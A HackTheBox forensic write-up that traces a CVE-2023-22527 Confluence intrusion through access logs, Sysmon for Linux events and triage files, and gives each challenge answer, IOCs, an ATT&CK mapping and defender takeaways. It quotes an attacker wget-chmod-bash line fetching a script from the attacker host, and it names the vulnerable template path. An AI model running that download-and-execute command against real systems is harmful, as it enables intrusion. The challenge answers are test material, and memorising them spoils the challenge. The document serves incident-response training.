// HackTheBox  ·  writeup

Confluence_CVE-2023-22527

HackTheBox Medium grepawksha1sumPython
DFIRLinux

Scenario

Analyze the Atlassian Confluence remote code execution vulnerability from the logs.

Executive Summary

An external host sent a series of scripted POST requests to a vulnerable Confluence template endpoint and got command execution as the Confluence service account. The first commands were an identity check and a directory listing. The attacker then tried several times to pull a shell script through the application, which only left error entries in the Confluence log, before switching to a different download that worked. That script produced a reverse shell back to the same host, and the attacker created a privileged backdoor account to keep access. A cryptominer archive was dropped into the Confluence directory before the intrusion was caught. The web logs, Sysmon for Linux events in syslog and the triage listings together cover the whole chain.

Artifacts

Timestamp note: Time answers use YYYY-MM-DD hh:mm:ss. The first POST and the first Sysmon process event share the same second, so the web log and Sysmon clocks line up.

Initial Access

Q1 — What is the URI path which is vulnerable to the CVE?

Start with the web access log and list the POST requests only; a scanner or browser would be mostly GET. A single template path under /template/aui/ receives a stream of POSTs and nothing else gets that treatment. The path is a Velocity template that accepts a parameter into an OGNL expression, the injection point of CVE-2023-22527.

grep 'POST' conf_access_log | awk '{print $7}' | sort | uniq -c | sort -rn
Click flag to reveal /template/aui/text-inline.vm
Q2 — When did the attacker first exploit this vulnerability?

Take the path from Q1 and read the earliest POST to it in the access log. That request is the first exploitation attempt, and it lines up to the second with the first process-creation event in Sysmon (Q4).

grep 'POST /template/aui/text-inline.vm' conf_access_log | head -1
Click to reveal answer 2024-01-25 11:41:26
Q3 — What is the attacker's remote IP Address?

Count client IPs across the POSTs to the Q1 path. One external address sends all of them.

grep 'POST' conf_access_log | awk '{print $1}' | sort | uniq -c | sort -rn
Click flag to reveal 3.110.176.89
Q7 — User agents are a useful source of information and can be used for analysis. What user agent was the attacker using?

The user agent sits in the same access-log lines as the exploit POSTs from Q3. It is a scripting library default, not a browser string, which fits an exploit script rather than a person clicking around.

grep '3.110.176.89' conf_access_log | grep -o '"[^"]*"$' | sort | uniq -c
Click flag to reveal python-requests/2.28.2

Execution

Q4 — Analyze the Sysmon for Linux logs and identify the first command executed by the attacker.

Sysmon for Linux writes its XML events into syslog. Parse Event ID 1 (process creation) for the confluence user and sort by time. The first entry is at the same second as the first POST from Q2, so it is the payload of that request: a one-word identity check, the standard “did the exploit work” probe.

python3 -I parse_sysmon.py syslog --eid 1 --user confluence
Click to reveal answer id

Discovery

Q5 — What time did the attacker first enumerate directories on the compromised system?

Continue down the same Event ID 1 list from Q4. After the identity check, the first directory listing appears as an ls -la spawned by the Confluence process. Its timestamp is the answer.

python3 -I parse_sysmon.py syslog --eid 1 --user confluence | grep ' ls '
Click flag to reveal 2024-01-25 11:43:33

Command and Control

Q6 — The attacker tried to execute remote commands to get a more stable shell, but apparently failed many times. Analyzing the Confluence log sources, can you find the command they executed around 2024-01-25 11:50:50 that errored out?

Failed OGNL evaluations never make it into Sysmon, but the application log keeps them. Search atlassian-confluence.log around the given time for the OGNL warning; it contains the attempted command: a download of a script from the attacker host, a chmod, then a bash of the file.

grep '11:50:50' atlassian-confluence.log

Gotcha: The log URL-decodes the injected + characters into spaces, and the chmod line shows two spaces before the argument. The accepted form has a single space, matching the answer mask.

Click to reveal answer wget http://3.110.176.89/lin/6730789213.sh;chmod x 6730789213.sh; bash 6730789213.sh
Q8 — It appears that the attacker was able to download a bash script and then execute it to get a stable shell. What is the full path of this file? (Answer Format: /path/file.extension)

The working download shows up in Sysmon, not in the failed attempts from Q6. Look for curl process creations from the Confluence user: one writes to /tmp and the next event runs it with bash.

python3 -I parse_sysmon.py syslog --eid 1 --user confluence | grep -E 'curl|bash'
Click to reveal answer /tmp/xxx.sh
Q9 — What is the size in bytes of the bash file detected earlier?

Find the file from Q8 in the triage bodyfile. Bodyfile fields are MD5|name|inode|mode|UID|GID|size|atime|mtime|ctime|crtime, so the size is the seventh field. The line for the script reads 0|/tmp/xxx.sh|68855|-rwxrwxrwx|998|998|46|....

grep '/tmp/xxx.sh' bodyfile

Gotcha: The real size field holds a much smaller number than the value HTB accepted. The accepted value is the third field, the inode. The five-character answer mask fits the inode, not the byte size, so this answer is the inode column; the question wording and the accepted value disagree.

Click to reveal answer 68855
Q10 — Analyzing the network connections from the triage output, what is the C2 IP address and port that the attacker connected to? (Answer Format: IP:PORT)

The ss -tanp output lists established sockets with their owning process. An established connection owned by bash/su goes to the attacker address from Q3 on a non-standard port. A shell holding an outbound TCP session to the attacker host is the reverse shell started by the Q8 script.

grep ESTAB ss_-tanp.txt
Click flag to reveal 3.110.176.89:1200
Q11 — What is the SHA1 hash of the bash script found in Question 8?

hash_executables.sha1 from the triage collection already has an entry for the script. Hashing the file directly gives the same value.

grep 'xxx.sh' hash_executables.sha1
Click flag to reveal 9ac4d3459093aac9ee4bb3b87fdeaaaa3c5bd551

Persistence

Q12 — Attackers create new privileged user accounts for backdoor access. What is the username of the backdoor account created by the attacker?

auth.log records account management. A useradd entry carrying the shell session of the attacker creates a new account, and the spelling in the log is the answer as written.

grep -E 'useradd|usermod' auth.log

Gotcha: The name is misspelled in the log (servcie). Copy it exactly rather than correcting it.

Click to reveal answer confluence_servcie
Q13 — When was this backdoor account created? (Answer Format: YYYY-MM-DD HH:MM:SS)

The timestamp of the same useradd line from Q12.

grep useradd auth.log
Click flag to reveal 2024-01-25 12:15:42

Impact

Q14 — The attacker downloaded a miner tool before being detected. What is the full path of this miner archive file?

Search the bodyfile for archives in the Confluence install directory. A tarball named after a public Monero miner release sits next to the application files, which is not something Confluence ships.

grep -iE 'xmrig|\.tar\.gz' bodyfile
Click to reveal answer /opt/confluence/xmrig-6.16.4-linux-static-x64.tar.gz

Attack Summary

PhaseAction
Initial AccessScripted POSTs to the vulnerable Confluence template path from one external IP
ExecutionFirst payload is an identity check run as the Confluence user
DiscoveryDirectory listing of the host
Command and ControlSeveral download-and-run attempts through OGNL fail and are logged as warnings
Command and ControlA script is fetched to /tmp with curl and run with bash
Command and ControlReverse shell held open to the attacker host
PersistencePrivileged backdoor account created
ImpactXMRig miner archive dropped in the Confluence directory

Forensic Timeline

Skipped: fewer than five distinct timestamps were established.

IOCs

TypeValue
IP (attacker, C2)3.110.176[.]89
C2 endpoint3.110.176[.]89:1200
User agentpython-requests/2.28.2
Failed stager URLhxxp[://]3[.]110[.]176[.]89/lin/6730789213.sh
Dropped script/tmp/xxx.sh (SHA1 9ac4d3459093aac9ee4bb3b87fdeaaaa3c5bd551)
Backdoor accountconfluence_servcie
Miner archive/opt/confluence/xmrig-6.16.4-linux-static-x64.tar.gz
Vulnerable path/template/aui/text-inline.vm

MITRE ATT&CK

TechniqueIDDescription
Exploit Public-Facing ApplicationT1190Template injection POSTs against Confluence
Command and Scripting Interpreter: Unix ShellT1059.004id, ls, wget, chmod and bash run through OGNL and a reverse shell
File and Directory DiscoveryT1083ls -la right after the first command
Ingress Tool TransferT1105Shell script fetched with curl, miner archive staged on disk
Create Account: Local AccountT1136.001Backdoor user added with useradd
Resource HijackingT1496XMRig archive placed on the server

Defender Takeaways

An unauthenticated template endpoint should never be reachable from the internet. The whole chain began with POSTs to one .vm path. Patching the Confluence version, or blocking /template/aui/*.vm at the proxy, would have removed the entry point. A burst of POSTs from a scripting-library user agent to that path is a cheap alert.

The failed attempts are the best early warning. The OGNL warnings in atlassian-confluence.log carry the full attempted command, minutes before the successful download. Alerting on wget/curl inside Confluence log errors catches the attacker while they are still fumbling.

Sysmon for Linux gave the clean process tree. An identity check, then a directory listing, then curl to /tmp and bash, all with the Confluence service account as the parent user, is a short high-signal chain. A web service account spawning shells and download tools should be its own detection.

Triage listings close the gaps in logs. Socket output tied the shell to an outbound connection, and the bodyfile exposed both the dropped script and the miner archive. Collect both. Outbound connections from a web server to an arbitrary high port on an external host are worth blocking by default.

Conclusion

A single unauthenticated template endpoint gave an external attacker code execution, a reverse shell, a backdoor account and a miner on the Confluence host within about half an hour. Every step was logged somewhere; the logs just had to be read together.